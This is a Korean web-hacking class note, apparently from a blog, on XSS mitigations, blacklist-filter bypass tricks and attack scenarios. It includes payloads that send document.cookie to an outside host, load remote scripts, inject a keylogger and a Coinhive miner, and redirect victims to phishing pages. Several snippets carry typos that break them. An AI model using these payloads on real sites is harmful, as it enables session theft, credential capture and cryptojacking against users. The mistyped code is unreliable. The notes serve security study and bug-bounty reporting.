* 참고사항
XSS<script>alert(1);</script> 시 단순한 알림창에 위협을 느끼지 못하기 때문에 버그바운티나 실제 업무에서 보고서를 작성할 떄 위험하다는 것을 직관적으로 인지시켜주기 위해서 얼마나 영향력 있는 취약점인지 보여주는 게 좋다.
작성 시
- <script>alert(1)</script>
- <script>xss()<script> (기본형)
- <script>document cookie</script>
1. XSS를 어떻게 잘 막을 수 있을지에 대한 의견 취합
- 입출력 HTML Entity 전환 필터링
- White List 기반 필터링
- Black List 기반 필터링
- 보안 라이브러리 사용
- 문자열 길이 제한
- 웹 방화벽
- 보안 정책 CSP
- Http Only 설정
2. XSS 대응방안 정석
적용가능한 모든 곳에서,
사용자의 파라미터에서 HTML 특수문자들을 HTML Entity로 표현한다.
HTML Entity : <, > = &it, >
이 Entity 를 출력시나 입력시에 적용할 수 있다.
적용이 불가한 곳에서는, 예를들어 게시판 HTML Editor,
Step 1) 전부 다 Entity로 치환한다.
Step 2) White List 기반으로 허용 태그 사용.
: <image>, <iframe>을 도로 돌려놔준다.
Step 3) Black List 기반으로 악성 이벤트 핸들러를 필터링 해준다.
:<img scr=x onerror>, onload 등
3. Bypass 기법
- 입출력 HTML Entity 전환은 우회가 불가하다.
- White List XSS 필터링은 제한적으로 사용되며 우회가 불가하다.
- 웹 방화벽(WAF)은 보통 블랙리스트 방식으로 우회가 가능할 수 있다.
실무에서 보통 방화벽은 가능하다고 가정하고 넘긴다. 시스템 자체의 결함을 찾는게 업무의 본질이기 때문.
-HttpOlny 설정
Session ID XSS, document cookie=" "
이는 쿠기 값을 탈취하는 걸 막을 수 있다.
- 보안 정책 CSP
- 보안라이브러리 사용시 우회가 가능할 수도 있다. 예를 들어 "<"에만 적용이 되어있는 경우
myungju'); funtion func_test()
<script>func_test('nomartic') alert('xss');('
');
</script >
우회가 되는 경우
(1) Client 측 검증
-> 편의 기능 로그인, 주민등록 검증 등
예를 들어 로그인할 때 '아이디를 입력하세요' 이런 칸은 자바 안에서 구현한다.
이걸 지워버리면 데이터를 날릴 수 있다.
<script>alert(1);</script>입력 시 꺽세가 날아가면 Burp Suite(Web Proxy)를 사용해 다시 입력해본다.
= 제목에 Hello를 넣고, Burp Suite에서 <script> 삽입 후 포워드하면 중간에 변조된 정보를 보낼 수 있다.
(2) Black List 기반 필터링
ex) script
- 대소문자 혼합 ScRiPt
- 키워드 반복 scrscriptipt
- URL Double Encoding
" -> %22 -> %2522 (%가 %25로 치환) -> %22 로 다시 살아나는 경우가 있음.
- Event Handler: onerror, onload
* audio: <audio scr=" ~~~" onplay="alert(1)">
* onmouseover
<img scr=1 onmouseover="alert()">는 마우스를 올려야만 실행되는 태그이다.
(3) 문자열 길이 제한
50글자 제한과 같은 재약이 있을 때
<script scr="http://myungju.com/xss.js></script>
<script scr="http://a/xss.js></script>
js는 글자 수 제한이 없다. 이런 식으로 불러와서 로드시키는 방법으로 우회 가능
4. XSS 공격 시나리오
(1) Session ID 탈취
<script> document_wirte("<img scr="http://myungju.com/?(Get 방식 session=)+document.cookie+
"/>");
스니핑 시 세션아이디를 훔치면 계정 탈취나 다름없다.
(2) HTML injection
HTML로 게시글 삽입해서 클릭 유도, 다운로드 유도, 워드 악성 스크립트 파일로 공격
(3) Key Logger 삽입
var buffer = [ ];
document.onkeypass = function(e){
var timestamp = ~~
<input></input>
-> 언제 사용하면 좋을까?
키로거는 해당 페이지만 가능하기 때문에 해당 로그인 form이 있는 페이지, 인증정보 사용하는 곳에
키로거를 삽입하는 것이 좋다.
-> Miner 실행
<script scr="http://coin-hive.com/lib/coinhive.min.js"> var miner=new
CoinHive.Anonymous('thisistest'); miner.start(); </script>
-> 사진, 동영상
영화 두시간
->redirect 링크, Reflected XSS 로그인이 필요합니다. <script>location.href="피싱 페이지";</script>
<script>location.href="피싱 페이지";</script> : 페이지 이동
<script>location.replace=("피싱 페이지");</script> : 페이지 교체, 뒤로가기 없음
'Web hacking > Nomaltic) 웹 해킹 수업 노트 👩💻' 카테고리의 다른 글
[7주차] CSRF 개념 정리 (0) | 2021.12.03 |
---|---|
[7주차]CSRF(Cross Site Request Forgery)란? (0) | 2021.11.24 |
[6주차]XSS 공격 벡터와 대응방안 (0) | 2021.11.18 |
[5주차]XSS(Cross site script)를 공부해보자 + XVWA에서 실습 (0) | 2021.11.12 |
[5주차]XSS(Cross-Site Scripting)이란? (0) | 2021.11.10 |